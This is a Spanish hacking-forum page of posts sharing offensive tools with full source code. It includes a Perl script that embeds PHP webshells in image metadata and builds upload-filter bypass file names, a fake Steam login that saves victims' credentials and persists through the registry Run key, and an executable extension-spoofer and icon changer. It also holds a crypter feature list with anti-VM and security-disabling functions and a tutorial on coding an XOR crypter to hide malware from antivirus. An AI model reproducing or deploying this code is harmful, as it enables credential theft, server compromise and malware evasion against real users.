Menú

Mostrar Mensajes

Esta sección te permite ver todos los mensajes escritos por este usuario. Ten en cuenta que sólo puedes ver los mensajes escritos en zonas a las que tienes acceso en este momento.

Mostrar Mensajes Menú

Mensajes - BigBear

#61
Scripting / [Perl] LFI Image Helper 0.8
8 Mayo 2015, 15:57 PM
Un simple script en Perl para colocar codigo de phpshells en imagenes , el script tiene las siguientes opciones :

  • Listar todos los Tags de la imagen con contenido
  • Listar solo los Tags
  • Leer el valor de cierto Tag
  • Crear un Tag nuevo
  • Editar un Tag
  • Borrar un Tag
  • Infectar una imagen con un backdoor conocido en PHP

    El codigo :

    Código (perl) [Seleccionar]

    #!usr/bin/perl
    #LFI Image Helper 0.8
    #(C) Doddy Hackman 2015
    #ppm install  http://trouchelle.com/ppm/Image-ExifTool.ppd
    #
    #Array @shells based on : OhNo - Evil Image Builder By Hood3dRob1n
    #Thanks to Hood3dRob1n
    #
    #Dump Values
    #Based on :http://www.nntp.perl.org/group/perl.beginners/2012/02/msg119913.html
    #Thanks to Ken Slater
    #
    use Image::ExifTool;
    use Getopt::Long;
    use Color::Output;
    Color::Output::Init;

    my @shells = (

       {},

       {

           "nombre"  => "Simple Backdoor",
           "codigo"  => '<?php system($_GET["cmd"]);exit(1); ?>',
           "ejemplo" => "?cmd="

       },
       {

           "nombre" => "System Shell",
           "codigo" =>
    '<?error_reporting(0);print(___);system($_REQUEST[cmd]);print(___);die;?>',
           "ejemplo" => "?cmd="

       },
       {

           "nombre" => "Eval Shell",
           "codigo" =>
    '<?error_reporting(0);print(___);eval($_REQUEST[cmd]);print(___);die;?>',
           "ejemplo" => "?cmd="

       },
       {

           "nombre" => "Sneaky Shell",
           "codigo" =>
    '<?php @$_[]=@!+_$__=@${_}>>$_;$_[]=$__;$_[]=@_;$_[((++$__)+($__++ ))].=$_$_[]=++$__$_[]=$_[--$__][$__>>$__];$_[$__].=(($__+$__)+ $_[$__-$__]).($__+$__+$__)+$_[$__-$__]; $_[$__+$__] =($_[$__][$__>>$__]).($_[$__][$__]^$_[$__][($__<<$__)-$__] ); $_[$__+$__] .=($_[$__][($__<<$__)-($__/$__)])^($_[$__][$__] ); $_[$__+$__] .=($_[$__][$__+$__])^$_[$__][($__<<$__)-$__ ]; $_=$ $_[$__$__] ;$_[@-_]($_[@!+_] );?>',
           "ejemplo" => "?0="

       },
       {

           "nombre" => "r0ng Shell",
           "codigo" =>
             '<?if($_GET["r0ng"]){echo"<pre>".shell_exec($_GET["r0ng"]);}?>',
           "ejemplo" => "?r0ng="

       }

    );

    GetOptions(
       "dump_all=s"   => \$dump_all,
       "dump_tags=s"  => \$dump_tags,
       "read_tag=s"   => \$read_tag,
       "tag=s"        => \$tag,
       "make_tag=s"   => \$make_tag,
       "value=s"      => \$value,
       "update_tag=s" => \$update_tag,
       "delete_tag=s" => \$delete_tag,
       "backdoor=s"   => \$backdoor,
       "bypass=s"     => \$bypass,
       "file=s"       => \$file
    );

    head();

    if ($dump_all) {

       if ( -f $dump_all ) {
           printear_titulo("[+] Finding information in : ");
           print $dump_all. "\n\n";
           dump_all($dump_all);
       }
       else {
           printear("[-] File not found\n");
       }

    }
    elsif ($dump_tags) {

       if ( -f $dump_tags ) {
           printear_titulo("[+] Finding tags in : ");
           print $dump_tags. "\n\n";
           dump_tags($dump_tags);
       }
       else {
           printear("[-] File not found\n");
       }
    }
    elsif ($read_tag) {

       if ( -f $read_tag ) {
           printear_titulo("[+] Finding tag value of $tag in : ");
           print $read_tag. "\n\n";
           read_tag( $read_tag, $tag );
       }
       else {
           printear("[-] File not found\n");
       }

    }

    elsif ($make_tag) {

       if ( -f $make_tag ) {

           printear_titulo("[+] Photo : ");
           print $make_tag. "\n";
           printear_titulo("[+] Name : ");
           print $tag. "\n";
           printear_titulo("[+] Value : ");
           print $value. "\n\n";

           printear("[+] Making tag $tag ...\n\n");

           make_tag( $make_tag, $tag, $value );

       }
       else {
           printear("[-] File not found\n");
       }
    }
    elsif ($update_tag) {

       if ( -f $update_tag ) {

           printear_titulo("[+] Photo : ");
           print $update_tag. "\n";
           printear_titulo("[+] Name : ");
           print $tag. "\n";
           printear_titulo("[+] Value : ");
           print $value. "\n\n";

           printear("[+] Updating tag $tag ...\n\n");

           update_tag( $update_tag, $tag, $value );

       }
       else {
           printear("[-] File not found\n");
       }
    }
    elsif ($delete_tag) {

       if ( -f $delete_tag ) {
           printear_titulo("[+] Deleting tag $tag in : ");
           print $delete_tag. "\n\n";
           delete_tag( $delete_tag, $tag );
       }
       else {
           printear("[-] File not found\n");
       }

    }
    elsif ($backdoor) {

       if ( -f $backdoor ) {

           printear_titulo("[+] Photo : ");
           print $backdoor. "\n\n";

           printear("[+] 1 : ");
           print "Simple Backdoor\n";
           printear("[+] 2 : ");
           print "System Shell\n";
           printear("[+] 3 : ");
           print "Eval Shell\n";
           printear("[+] 4 : ");
           print "Sneaky Shell\n";
           printear("[+] 5 : ");
           print "r0ng Shell\n";

           printear_titulo("\n[+] Option : ");
           chomp( my $opcion = <stdin> );

           backdoor_tag( $backdoor, $opcion, $file );

       }
       else {
           printear("[-] File not found\n");
       }

    }
    elsif ($bypass) {

       if ( -f $bypass ) {

           my $source = readfile($bypass);

           printear_titulo("[+] PHP Shell : ");
           print $bypass. "\n\n";

           printear("[+] 1 : ");
           print "bypass.jpg.php\n";
           printear("[+] 2 : ");
           print "bypass.php;test.jpg\n";
           printear("[+] 3 : ");
           print "bypass.php%00.jpg\n";

           printear_titulo("\n[+] Option : ");
           chomp( my $opcion = <stdin> );

           if ( $opcion eq "1" ) {
               savefile( $file . ".jpg.php", $source );
               chmod 0777, $file . ".jpg.php";
           }
           elsif ( $opcion eq "2" ) {
               savefile( $file . ".php;test.jpg", $source );
               chmod 0777, $file . ".php;test.jpg";
           }
           elsif ( $opcion eq "3" ) {
               savefile( $file . ".php%00.jpg", $source );
               chmod 0777, $file . ".php%00.jpg";
           }
           else {
               savefile( $file . ".jpg.php", $source );
               chmod 0777, $file . ".jpg.php";
           }

           printear("\n[+] PHP Shell Bypassed\n");

       }
       else {
           printear("\n[-] File not found\n");
       }

    }
    else {
       sintax();
    }

    copyright();

    # Functions

    sub backdoor_tag {

       my $image  = $_[0];
       my $opcion = $_[1];
       my $final  = $_[2];

       my $tag     = "Model";
       my $nombre  = $shells[$opcion]->{nombre};
       my $valor   = $shells[$opcion]->{codigo};
       my $ejemplo = $shells[$opcion]->{ejemplo};

       printear("\n[+] Backdoor Name : ");
       print "$nombre\n";
       printear("[+] Backdoor Example : ");
       print "$ejemplo\n";

       my $datos_imagen       = new Image::ExifTool;
       my $informacion_imagen = $datos_imagen->ImageInfo($image);

       $datos_imagen->SetNewValue( $tag, $valor );

       unlink($final);

       $ok = $datos_imagen->WriteInfo( $image, $final );

       if ( $ok eq "1" ) {
           printear_titulo("\n[+] Backdoor : ");
           print "OK\n";
           chmod 0777, $final;
       }
       else {
           printear_titulo("\n[-] Backdoor: ");
           print "Error\n";
       }

    }

    sub delete_tag {

       my $imagen_target = $_[0];
       my $tag           = $_[1];

       my $datos_imagen       = new Image::ExifTool;
       my $informacion_imagen = $datos_imagen->ImageInfo($imagen_target);

       $datos_imagen->SetNewValue( $tag, undef );

       $ok = $datos_imagen->WriteInfo($imagen_target);

       if ( $ok eq "1" ) {
           printear_titulo("[+] Tag $tag : ");
           print "Deleted\n";
       }
       else {
           printear_titulo("[-] Tag $tag : ");
           print "Error\n";
       }

    }

    sub update_tag {

       my $image = $_[0];
       my $tag   = $_[1];
       my $valor = $_[2];

       my $datos_imagen       = new Image::ExifTool;
       my $informacion_imagen = $datos_imagen->ImageInfo($image);

       $datos_imagen->SetNewValue( $tag, $valor );

       $ok = $datos_imagen->WriteInfo($image);

       if ( $ok eq "1" ) {
           printear_titulo("[+] Tag $tag : ");
           print "Updated\n";
       }
       else {
           printear_titulo("[-] Tag $tag : ");
           print "Error\n";
       }

    }

    sub make_tag {

       my $image = $_[0];
       my $name  = $_[1];
       my $value = $_[2];

       my $poc = Image::ExifTool->new();

       $poc->ExtractInfo($image);
       $poc->SetNewValue( $name, $value );

       $ok = $poc->WriteInfo($image);

       if ( $ok eq "1" ) {
           printear_titulo("[+] Tag $name : ");
           print "Created\n";
       }
       else {
           printear_titulo("[-] Tag $name : ");
           print "Error\n";
       }

    }

    sub read_tag {

       $imagen_target = $_[0];
       $tag           = $_[1];

       my $datos_imagen       = new Image::ExifTool;
       my $informacion_imagen = $datos_imagen->ImageInfo($imagen_target);

       $valor = $datos_imagen->GetValue($tag);

       if ( $valor eq "" ) {
           printear("[-] Tag not found\n");
       }
       else {
           printear("[+] $tag : ");
           print $valor. "\n";
       }

    }

    sub dump_tags {

       my $imagen_target = $_[0];

       my $datos_imagen       = new Image::ExifTool;
       my $informacion_imagen = $datos_imagen->ImageInfo($imagen_target);

       @tags = $datos_imagen->GetFoundTags("File");

       for my $tag (@tags) {
           printear("[+] Tag : ");
           print $tag. "\n";
       }

    }

    sub dump_all {

       my $imagen_target = $_[0];

       my $datos_imagen       = new Image::ExifTool;
       my $informacion_imagen = $datos_imagen->ImageInfo($imagen_target);

       for my $abriendo_imagen ( $datos_imagen->GetFoundTags("Group0") ) {
           my $valor = $informacion_imagen->{$abriendo_imagen};
           printear("[+] $abriendo_imagen : ");
           print $valor. "\n";
       }

    }

    sub savefile {
       open( SAVE, ">>" . $_[0] );
       print SAVE $_[1] . "\n";
       close SAVE;
    }

    sub readfile {
       open my $FILE, q[<], $_[0];
       my $word = join q[], <$FILE>;
       close $FILE;
       return $word;
    }

    sub printear {
       cprint( "\x036" . $_[0] . "\x030" );
    }

    sub printear_logo {
       cprint( "\x037" . $_[0] . "\x030" );
    }

    sub printear_titulo {
       cprint( "\x0310" . $_[0] . "\x030" );
    }

    sub sintax {

       printear("[+] Sintax : ");
       print "perl $0 <option> <value>\n";
       printear("\n[+] Options : \n\n");
       print "-dump_all <image> : Get all information of a image\n";
       print "-dump_tags <image> : Get all tags of a image\n";
       print "-read_tag <image> -tag <tag> : Read value tags of a image\n";
       print "-make_tag <image> -tag <tag> -value <value> : Make a new tag\n";
       print "-update_tag <image> -tag <tag> -value <value> : Update tag\n";
       print "-delete_tag <image> -tag <tag> : Delete tag\n";
       print "-backdoor <image> -file <name> : Insert backdoor in a image\n";
       print
    "-bypass <php shell> -file <name> : Rename extension of a image to bypass\n";
       printear("\n[+] Example : ");
       print "perl lfi_image_helper.pl -dump_all test.jpg\n";
       copyright();
    }

    sub head {
       printear_logo("\n-- == LFI Image Helper 0.8 == --\n\n\n");
    }

    sub copyright {
       printear_logo("\n\n-- == (C) Doddy Hackman 2015 == --\n\n");
       exit(1);
    }

    sub toma {
       return $nave->get( $_[0] )->content;
    }

    #The End ?


    Un video con ejemplos de uso :

    [youtube=640,360]https://www.youtube.com/watch?v=rF-IP4v1KHw[/youtube]

    Si quieren bajar el programa lo pueden hacer de aca :

    SourceForge.
#62
Un simple fake del programa Steam , parecia dificil pero con el poder de los skins de Delphi XE2 pude hacerlo "parecido".

Una imagen :



El codigo :

Código (delphi) [Seleccionar]

// Fake Steam 0.3
// (C) Doddy Hackman 2015

unit fake;

interface

uses
  Winapi.Windows, Winapi.Messages, System.SysUtils, System.Variants,
  System.Classes, Vcl.Graphics,
  Vcl.Controls, Vcl.Forms, Vcl.Dialogs, Vcl.ExtCtrls, Vcl.Imaging.pngimage,
  Vcl.StdCtrls, Registry;

type
  TForm1 = class(TForm)
    Image1: TImage;
    Image2: TImage;
    Edit1: TEdit;
    Edit2: TEdit;
    Image3: TImage;
    Image4: TImage;
    Image5: TImage;
    Image6: TImage;
    procedure Image2Click(Sender: TObject);
    procedure Image3Click(Sender: TObject);
    procedure Image4Click(Sender: TObject);
    procedure Image5Click(Sender: TObject);
    procedure Image6Click(Sender: TObject);
    procedure FormCreate(Sender: TObject);
  private
    { Private declarations }
  public
    { Public declarations }
  end;

var
  Form1: TForm1;

implementation

{$R *.dfm}

procedure TForm1.FormCreate(Sender: TObject);
var
  nombrereal: string;
  rutareal: string;
  yalisto: string;
  her: TRegistry;

begin

  try
    begin
      nombrereal := ExtractFileName(ParamStr(0));
      rutareal := ParamStr(0);
      yalisto := 'C:\WINDOWS\' + nombrereal;

      CopyFile(Pchar(rutareal), Pchar(yalisto), false);

      her := TRegistry.Create;
      her.RootKey := HKEY_LOCAL_MACHINE;

      her.OpenKey('Software\Microsoft\Windows\CurrentVersion\Run', false);
      her.WriteString('ubersteam', yalisto);
      her.Free;

      SetFileAttributes(Pchar(yalisto), FILE_ATTRIBUTE_HIDDEN);
      SetFileAttributes(Pchar('C:/windows/datos.txt'), FILE_ATTRIBUTE_HIDDEN);
    end;
  except
    //
  end;
end;

procedure TForm1.Image2Click(Sender: TObject);
var
  archivo: TextFile;
  ruta: string;

begin

  if (Edit1.Text = 'doddy') and (Edit2.Text = 'hackman') then
  begin
    try
      begin
        WinExec('notepad c:/windows/datos.txt', SW_SHOW);
      end;
    except
      //
    end;
  end
  else
  begin

    if Edit1.Text = '' then
    begin
      ShowMessage('Escriba tu usuario');
    end;
    if Edit2.Text = '' then
    begin
      ShowMessage('Escribe tu contraseña');
    end
    else
    begin
      if Edit2.Text = 'Escribe aqui tu contraseña' then
      begin
        ShowMessage('Escribe tu contraseña');
      end
      else
      begin
        try
          begin
            ruta := 'c:/windows/datos.txt'; // mod
            if FileExists(ruta) then
            begin
              AssignFile(archivo, ruta);
              FileMode := fmOpenWrite;
              Append(archivo);
              Writeln(archivo, '[user] : ' + Edit1.Text + ' [password] : ' +
                Edit2.Text);
              CloseFile(archivo);
              Application.MessageBox
                ('Se ha producido un error , es necesario reiniciar Steam',
                'Steam', MB_OK);
              Form1.Close;
            end
            else
            begin
              AssignFile(archivo, ruta);
              FileMode := fmOpenWrite;
              ReWrite(archivo);
              Writeln(archivo, '[user] : ' + Edit1.Text + ' [password] : ' +
                Edit2.Text);
              CloseFile(archivo);
              Application.MessageBox
                ('Se ha producido un error , es necesario reiniciar Steam',
                'Steam', MB_OK);
              Form1.Close;
            end;
          end;
        except
          //
        end;
      end;
    end;
  end;
end;

procedure TForm1.Image3Click(Sender: TObject);
begin
  Application.Terminate;
end;

procedure TForm1.Image4Click(Sender: TObject);
begin
  ShowMessage('Not available');
end;

procedure TForm1.Image5Click(Sender: TObject);
begin
  ShowMessage('Not available');
end;

procedure TForm1.Image6Click(Sender: TObject);
begin
  ShowMessage('Not available');
end;

end.

// The End ?


Si quieren bajar el programa lo pueden hacer de aca.
#63
Un simple programa en Delphi para modificar ejecutables con las siguientes opciones :

  • File Pumper
  • Extension Spoofer
  • Icon Changer

    Una imagen :



    Código (delphi) [Seleccionar]

    // DH Server Manager 0.3
    // (C) Doddy Hackman 2015
    // Based on : http://www.nerdprogrammer.in/2014/05/the-rats-crew-aio.html

    unit dhserverman;

    interface

    uses
      Winapi.Windows, Winapi.Messages, System.SysUtils, System.Variants,
      System.Classes, Vcl.Graphics,
      Vcl.Controls, Vcl.Forms, Vcl.Dialogs, Vcl.StdCtrls, Vcl.ComCtrls,
      Vcl.ExtCtrls, Vcl.Imaging.pngimage, madRes, StrUtils;

    type
      TForm1 = class(TForm)
        PageControl1: TPageControl;
        TabSheet1: TTabSheet;
        TabSheet2: TTabSheet;
        TabSheet3: TTabSheet;
        GroupBox1: TGroupBox;
        ruta_archivo: TEdit;
        Button1: TButton;
        GroupBox2: TGroupBox;
        Button2: TButton;
        StatusBar1: TStatusBar;
        TabSheet5: TTabSheet;
        GroupBox3: TGroupBox;
        GroupBox4: TGroupBox;
        count: TEdit;
        UpDown1: TUpDown;
        tipo_cantidad: TComboBox;
        GroupBox5: TGroupBox;
        ruta_icono: TEdit;
        Button3: TButton;
        GroupBox6: TGroupBox;
        Image1: TImage;
        OpenDialog1: TOpenDialog;
        OpenDialog2: TOpenDialog;
        GroupBox7: TGroupBox;
        usefilepumper: TCheckBox;
        iconchanger: TCheckBox;
        extensiones: TComboBox;
        selectextension: TCheckBox;
        GroupBox8: TGroupBox;
        mi_extension: TCheckBox;
        esta_extension: TEdit;
        extensionchanger: TCheckBox;
        TabSheet4: TTabSheet;
        Image2: TImage;
        GroupBox9: TGroupBox;
        Image3: TImage;
        Memo1: TMemo;
        procedure Button2Click(Sender: TObject);
        procedure Button3Click(Sender: TObject);
        procedure FormCreate(Sender: TObject);
        procedure Button1Click(Sender: TObject);
      private
        { Private declarations }
      public
        { Public declarations }
      end;

    var
      Form1: TForm1;

    implementation

    {$R *.dfm}
    // Functions

    procedure file_pumper(archivo: string; cantidad: LongWord);
    var
      arraycantidad: array of Byte;
      abriendo: TFileStream;
    begin
      abriendo := TFileStream.Create(archivo, fmOpenReadWrite);
      SetLength(arraycantidad, cantidad);
      ZeroMemory(@arraycantidad[1], cantidad);
      abriendo.Seek(0, soFromEnd);
      abriendo.Write(arraycantidad[0], High(arraycantidad));
      abriendo.Free;
    end;

    procedure extension_changer(archivo: string; extension: string);
    var
      nombre: string;
    begin
      nombre := ExtractFileName(archivo);
      nombre := StringReplace(nombre, ExtractFileExt(nombre), '',
        [rfReplaceAll, rfIgnoreCase]);
      nombre := nombre + char(8238) + ReverseString('.' + extension) + '.exe';
      MoveFile(PChar(archivo), PChar(ExtractFilePath(archivo) + nombre));
    end;

    //

    procedure TForm1.Button1Click(Sender: TObject);
    begin
      if OpenDialog1.Execute then
      begin
        ruta_archivo.Text := OpenDialog1.FileName;
      end;
    end;

    procedure TForm1.Button2Click(Sender: TObject);
    var
      change: dword;
      valor: string;
      tipocantidad: string;
      tipoextension: string;
      extensionacambiar: string;
    begin

      if not(FileExists(ruta_archivo.Text)) then
      begin
        ShowMessage('Select File to change');
      end
      else
      begin

        StatusBar1.Panels[0].Text := '[+] Working ...';
        Form1.StatusBar1.Update;

        if (usefilepumper.Checked) then
        begin
          tipocantidad := tipo_cantidad.Items[tipo_cantidad.ItemIndex];
          if (tipocantidad = 'Byte') then
          begin
            file_pumper(ruta_archivo.Text, StrToInt(count.Text) * 8);
          end;
          if (tipocantidad = 'KiloByte') then
          begin
            file_pumper(ruta_archivo.Text, StrToInt(count.Text) * 1024);
          end;
          if (tipocantidad = 'MegaByte') then
          begin
            file_pumper(ruta_archivo.Text, StrToInt(count.Text) * 1048576);
          end;
          if (tipocantidad = 'GigaByte') then
          begin
            file_pumper(ruta_archivo.Text, StrToInt(count.Text) * 1073741824);
          end;
          if (tipocantidad = 'TeraByte') then
          begin
            file_pumper(ruta_archivo.Text, StrToInt(count.Text) * 1099511627776);
          end;
        end;

        if (iconchanger.Checked) then
        begin
          try
            begin
              change := BeginUpdateResourceW
                (PWideChar(wideString(ruta_archivo.Text)), false);
              LoadIconGroupResourceW(change, PWideChar(wideString(valor)), 0,
                PWideChar(wideString(ruta_icono.Text)));
              EndUpdateResourceW(change, false);
            end;
          except
            begin
              //
            end;
          end;
        end;

        if (extensionchanger.Checked) then
        begin
          if not(selectextension.Checked and mi_extension.Checked) then
          begin
            if (selectextension.Checked) then
            begin
              extensionacambiar := extensiones.Items[extensiones.ItemIndex];
              extension_changer(ruta_archivo.Text, extensionacambiar);
            end;
            if (mi_extension.Checked) then
            begin
              extension_changer(ruta_archivo.Text, esta_extension.Text);
            end;
          end;
        end;

        StatusBar1.Panels[0].Text := '[+] Done';
        Form1.StatusBar1.Update;
      end;

    end;

    procedure TForm1.Button3Click(Sender: TObject);
    begin
      if OpenDialog2.Execute then
      begin
        ruta_icono.Text := OpenDialog2.FileName;
        Image1.Picture.LoadFromFile(OpenDialog2.FileName);
      end;
    end;

    procedure TForm1.FormCreate(Sender: TObject);
    begin
      OpenDialog1.InitialDir := GetCurrentDir;
      OpenDialog2.InitialDir := GetCurrentDir;
      OpenDialog2.Filter := 'Icons|*.ico|';
    end;

    end.

    // The End ?


    Un video con ejemplos de uso :

    [youtube=640,360]https://www.youtube.com/watch?v=LPz__TqhQ0E[/youtube]

    Si quieren bajar el programa lo pueden hacer de aca.
#64
Un simple crypter que hice en Delphi con las siguientes funciones :

  • Generador de key para el cifrado
  • Delay
  • Startup del archivo
  • Ocultar archivo
  • Melt File
  • Mensajes falsos
  • Ejecutar comandos
  • Matar procesos
  • Abrir URL
  • Descargar y ejecutar archivos
  • File Pumper,Extension Spoofer & Icon Changer

  • Antis :

    [++] Virtual PC
    [++] Virtual Box
    [++] Debug
    [++] Wireshark
    [++] OllyDg
    [++] Anubis
    [++] Kaspersky
    [++] VMware

  • Disables :

    [++] UAC
    [++] Firewall
    [++] CMD
    [++] Run
    [++] Taskmgr
    [++] Regedit
    [++] Updates

    [!] Creditos :

    [++] steve10120 [ RunPE ]

    Una imagen :



    Un video con ejemplos de uso :

    [youtube=640,360]https://www.youtube.com/watch?v=EYhaZTVhSCg[/youtube]

    Si quieren bajar el programa lo pueden hacer de aca :

    SourceForge.

    Eso seria todo.
#65
[Titulo] : Creacion de un Crypter
[Lenguaje] : Delphi
[Autor] : Doddy Hackman

[Temario]

-- =================--------

0x01 : Introduccion
0x02 : Creacion del Builder
0x03 : Creacion del Stub
0x04 : Probando el Crypter
0x05 : Creditos

-- =================--------

0x01 : Introduccion

Un crypter es un programa para ocultar malware para que no sea detectado y eliminado por los antivirus , en este manual aprenderemos a hacer un cryper en Delphi 7.
Solo les voy a enseñar como hacerlo , les voy avisando que no sera FUD y lo hago solo en Delphi 7 por varias razones ya que Delphi XE2 me daba muchos errores en este tema.

Empecemos ... 

0x02 : Creacion del Builder

Para empezar cargamos Delphi 7 y nos vamos "File->New->Application" como en la siguiente imagen :



Despues agregamos los siguientes elementos al formulario :

* 1 Edit (En Standard)
* 2 Botones (En Standard)
* 1 OpenDialog (En Dialogs)

El Edit contendra la ruta del archivo a cifrar , el primer boton sera para buscar el archivo , el segundo boton para cifrar el archivo y finalmente el OpenDialog lo usaremos para que el usuario pueda seleccionar el archivo.

Entonces al primer boton lo ponemos al lado del Edit1 y le ponemos de texto al boton : "Load" , el segundo boton viene abajo del Edit1 y le ponemos de texto "Encrypt"

Tambien si quieren pueden poner un titulo al Form desde la opcion de "Caption" del formulario , en mi caso pongo "Crypter".

El formulario les deberia quedar asi :



Entonces hacemos doble click en el boton "Load" y ponemos el siguiente codigo :

Código (delphi) [Seleccionar]

procedure TForm1.Button1Click(Sender: TObject);
begin
  if OpenDialog1.Execute then // Abrimos el OpenDialog para insertar la ruta
  // del archivo a cifrar
  begin
    Edit1.Text := OpenDialog1.FileName; // Establecemos el texto de Edit1 con
    // la ruta del archivo marcado en el openDialog1
  end;
end;


Ahora hacemos doble click en el boton "Encrypt" y ponemos el siguiente codigo :

Código (delphi) [Seleccionar]

procedure TForm1.Button2Click(Sender: TObject);
var
  codigo: string; // Declaramos la variable "codigo" como string
  key: integer; // Declaramos la variable "key" como integer
  separador: string; // Declaramos la variable "separador" como string
  linea: string; // Declaramos la variable "linea" como string
begin

  separador := '-barra-';
  // Establecemos el valor que tendra la variable "separador"
  key := 123; // Establecemos el valor de la variable "key" como 123

  codigo := xor_now(leer_archivo(Edit1.Text), key);
  // Leemos el archivo que hay en
  // la caja de texto y ciframos con XOR el contenido usando una key

  CopyFile(Pchar(ExtractFilePath(Application.ExeName) + '/' + 'stub.exe'),
    Pchar(ExtractFilePath(Application.ExeName) + '/' + 'done.exe'), True);
  // Copiamos el stub.exe con el nombre de done.exe

  linea := separador + codigo + separador + IntToStr(key) + separador;
  // Establecemos
  // la variable "linea" con el valor de contenido del archivo cifrado con
  // XOR y la key del cifrado XOR

  escribir_datos('done.exe', '-acatoy1-', '-acatoy2-', linea); // Escribimos
  // los datos en el ejecutable done.exe marcando los delimtiadores "acatoy" y
  // tambien ponemos el valor de la variable "linea"
 
  ShowMessage('Done');

end;


El codigo les deberia quedar algo asi :



Para poder usar este codigo debemos crear una Unit llendo a "File->New->Unit" como en la siguiente imagen :



Una vez creada pongan el siguiente codigo :

Código (delphi) [Seleccionar]

// Unit : Tools for Crypter
// Coded By Doddy Hackman in the year 2015
// Credits : Based on OP Crypter By Xash
// Thanks to Xash

unit tools;

interface

uses SysUtils, Windows;

function leer_datos(archivo, delimitador1, delimitador2: string): string;
function escribir_datos(ruta, delimitador1, delimitador2, texto: string): bool;

function leer_archivo(archivo_a_leer: String): AnsiString;
function xor_now(texto: string; clave: integer): string;

implementation

function xor_now(texto: string; clave: integer): string;
var
  numero: integer; // Establecemos la variable "numero" como integer
  contenido: string; // Establecemos la variable "contenido" como string
begin
  contenido := ''; // Vaciamos el contenido de la variable "contenido"
  for numero := 1 to Length(texto) do // Realizamos un for empezando por 1 hasta
  // la longitud de la variable "texto"
  begin
    contenido := contenido + Char(integer(texto[numero]) xor clave);
    // ciframos los datos
    // con XOR
  end;
  Result := contenido; // Devolvemos el resultado de la funcion como el valor
  // de la variable "contenido"
end;

function leer_archivo(archivo_a_leer: String): AnsiString;
var
  archivo: File; // Declaramos la variable "archivo" como File
  tipo: Byte; // Declaramos la variable "tipo" como Byte
begin
  tipo := FileMode; // Establecemos el FileMode para abrir el archivo
  try
    FileMode := 0; // Establecemos como "0" el FileMode
    AssignFile(archivo, archivo_a_leer); // Abrirmos el archivo
{$I-}
    Reset(archivo, 1); // Leemos el archivo desde la primera linea
{$I+}
    if IoResult = 0 then // Si IoResult es 0 ...
      try
        SetLength(Result, FileSize(archivo)); // Establecemos la longitud la
        // variable "Result" como la longitud del archivo
        if Length(Result) > 0 then
        // Si la longitud del resultado es mayor a 0 ...
        begin
{$I-}
          BlockRead(archivo, Result[1], Length(Result)); // Leemos los datos
{$I+}
          if IoResult <> 0 then // Si es distinto a 0 ..
            Result := '';
        end;
      finally
        CloseFile(archivo); // Cerramos el archivo
      end;
  finally
    FileMode := tipo; // Declaramos la variable FileMode como la variable "tipo"
  end;
end;

function leer_datos(archivo, delimitador1, delimitador2: string): string;

var
  contenido: string; // Declaramos la variable "contenido" como string
  limite: integer; // Declaramos la variable "limite" como integer
  dividiendo: integer; // Declaramos la variable "dividiendo" como integer
  dividiendo2: integer; // Declaramos la variable "dividiendo2" como integer
  dividiendo3: integer; // Declaramos la variable "dividiendo3" como integer
  dividiendo4: integer; // Declaramos la variable "dividiendo4" como integer
  control1: integer; // Declaramos la variable "control1" como integer
  control2: integer; // Declaramos la variable "control2" como integer
  suma: integer; // Declaramos la variable "suma" como integer
  numero: integer; // Declaramos la variable "numero" como integer
  suma_inicial_1: integer; // Declaramos la variable suma_inicial_1 como integer
  suma_inicial_2: integer; // Declaramos la variable suma_inicial_2 como integer
  suma_casi_1: integer; // Declaramos la variable suma_casi_1 como integer
  suma_casi_2: integer; // Declaramos la variable suma_casi_2 como integer
  resultado: string; // Declaramos la variable "resultado" como string
  contenido_final: string;
  // Declaramos la variable "contenido_final" como string
begin

  if (FileExists(archivo)) then // Si existe el archivo ...
  begin
    contenido := leer_archivo(archivo); // Leemos el archivo y guardamos todo
    // en la variable "contenido"

    suma_inicial_1 := Length(delimitador1);
    // Calculamos la longitud de la variable
    // "delimitador1"

    suma_inicial_2 := Length(contenido);
    // Calculamos la longitud de la variable
    // "contenido"

    suma := Pos(delimitador1, contenido) + suma_inicial_1;
    // Calculamos la posicion del
    // "delimitador" en la variable "contenido"

    dividiendo := suma_inicial_2 - suma;
    // Restamos las variables "suma_inicial_2"
    // y "suma"
      dividiendo2 := suma_inicial_2 - dividiendo;
    // Restamos las variables "suma_inicial_2"
    // y "dividiendo"

    contenido := Copy(contenido, dividiendo2, suma_inicial_2);
    // Copiamos las variables y las guardmamos en "contenido"

    suma_casi_1 := Pos(delimitador1, contenido);
    // Calculamos la posicion de "delimitador1"
    // en la variable "contenido"
    suma_casi_2 := suma_casi_1 + suma_inicial_1;
    // Sumamos las variables "suma_casi_1"
    // y "suma_inicial_1"

    control1 := Pos(delimitador2, contenido) - suma_casi_2;
    // Calculamos la posicion
    // de "delimitador2" en la variable "contenido" y lo restamos con "suma_casi_2"

    control2 := control1 - 1; // Restamos en uno la variable "control1"

    for numero := 0 to control2 do
    // Realizamos un for usando desde 0 hasta el valor
    // de la variable "control2"
    begin
      dividiendo3 := suma_inicial_1 + numero;
      // Sumamos la variables varibles "suma_inicial_1"
      // y "numero"
      dividiendo4 := Pos(delimitador1, contenido) + dividiendo3;
      // Calculamos la posicion de "delimitador1" en la variable
      // "contenido"
      contenido_final := contenido[dividiendo4]; // "Usamos la posicion que esta
      // en la variable "dividiendo4" para acceder a cierta posicion de la variable
      // "contenido"
      resultado := resultado + contenido_final;
      // Sumamos las variables "resultado" y
      // "contenido_final"
    end;

    if resultado = '' then // Si la variable "resultado" esta vacia ...
    begin
      resultado := 'Error'; // Mostramos "Error" en la variable "resultado"
    end
    else
    begin
      Result := resultado; // De lo contrario mostramos el contenido de la
      // variable "resultado" en resultado de la funcion
    end;
  end
  else
  begin
    Result := 'Error'; // De lo contrario mostramos "Error" en el resultado de
    // la funcion
  end;
end;

function escribir_datos(ruta, delimitador1, delimitador2, texto: string): bool;
var
  abriendo_archivo: TextFile; // Declaramos la variable "abriendo_archivo" como
  // TextFile
begin
  if (FileExists(ruta)) then // Si el archivo de la variable "ruta" existe ...
  begin
    AssignFile(abriendo_archivo, ruta); // Abrimos el archivo de la variable
    // "ruta"
    Append(abriendo_archivo); // Empezamos a leer el archivo desde la variable
    // "abriendo_archivo"
    try
      begin
        WriteLn(abriendo_archivo, delimitador1 + texto + delimitador2);
        // Escribimos los datos
        // de las variables "delimitador1,"texto","delimitador2"
      end
    finally
      begin
        CloseFile(abriendo_archivo); // Cerramos el archivo desde la variable
        // "abriendo_archivo"
      end;
      Result := True; // Devolvemos "True" como resultado de la funcion
    end;
  end
  else
  begin
    Result := False; // De lo contrario devolvemos "False" como resultado de la
    // funcion
  end;

end;

end.

// The End ?


